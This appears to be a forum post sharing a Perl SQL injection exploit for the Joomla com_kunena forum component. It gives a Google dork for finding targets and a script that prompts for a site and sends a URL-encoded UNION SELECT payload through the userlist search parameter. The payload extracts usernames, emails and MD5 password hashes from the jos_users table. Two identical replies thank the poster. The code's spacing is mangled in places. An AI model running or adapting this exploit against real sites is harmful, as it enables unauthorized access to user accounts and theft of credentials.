[Stricker]

Code:

#!/usr/bin/perl #Exploittitle:JoomlaComponent com_kunenaSQLInjectionexploit #GoogleDork:inurl:index.php? option=com_kunena& #ExploitAuthor:D35m0nd142 #Screenshot:http://imageshack.us/ f/155/comkunena2.png/ #VendorHomePage:http:// www.joomla.org/ #SpecialthankstoTaurusomar system("clear"); print "********************************************* \n"; print"*JoomlaComponentcom_kunena SQLInjection*\n"; print"* Codedby D35m0nd142 *\n"; print "********************************************* \n"; sleep1; useLWP::UserAgent; print"Enterthetarget-->"; chomp(my$target=<STDIN>); $code="%25%27%20and%201=2%29%20union %20select%201,%20concat %280x3a,username,0x3a,email,0x3a,0x3a,activation %29,concat %280x3a,username,0x3a,email,0x3a,password,0x3a,activation %29,%27Super%20Administrator%27, %27email%27, %272009-11-26%2022:09:28%27, %272009-11-26%2022:09:28%27,62,1,1,0,0,0,1,15%20from %20jos_users--%20;"; $agent=LWP::UserAgent->new()or die"[!]Errorwhileprocessing"; $agent->agent('Mozilla/5.0(WindowsNT 6.1;WOW64;rv:7.0.1)Gecko/20100101 Firefox/7.0.12011'); $host=$target."/index.php? option=com_kunena&func=userlist&search=". $code; $ok=$agent->request(HTTP::Request- >new(GET=>$host)); $ok1=$ok->content;if($ok1=~/ ([0-9a-fA-F]{32})/){ print"[+]Passwordfound-->$1\n $2\n"; sleep1; } else { print"Passwordnotfound\n"; }

[gdteska]

thanks for this exploit !!!!!!1

[gdteska]

thanks for this exploit !!!!!!1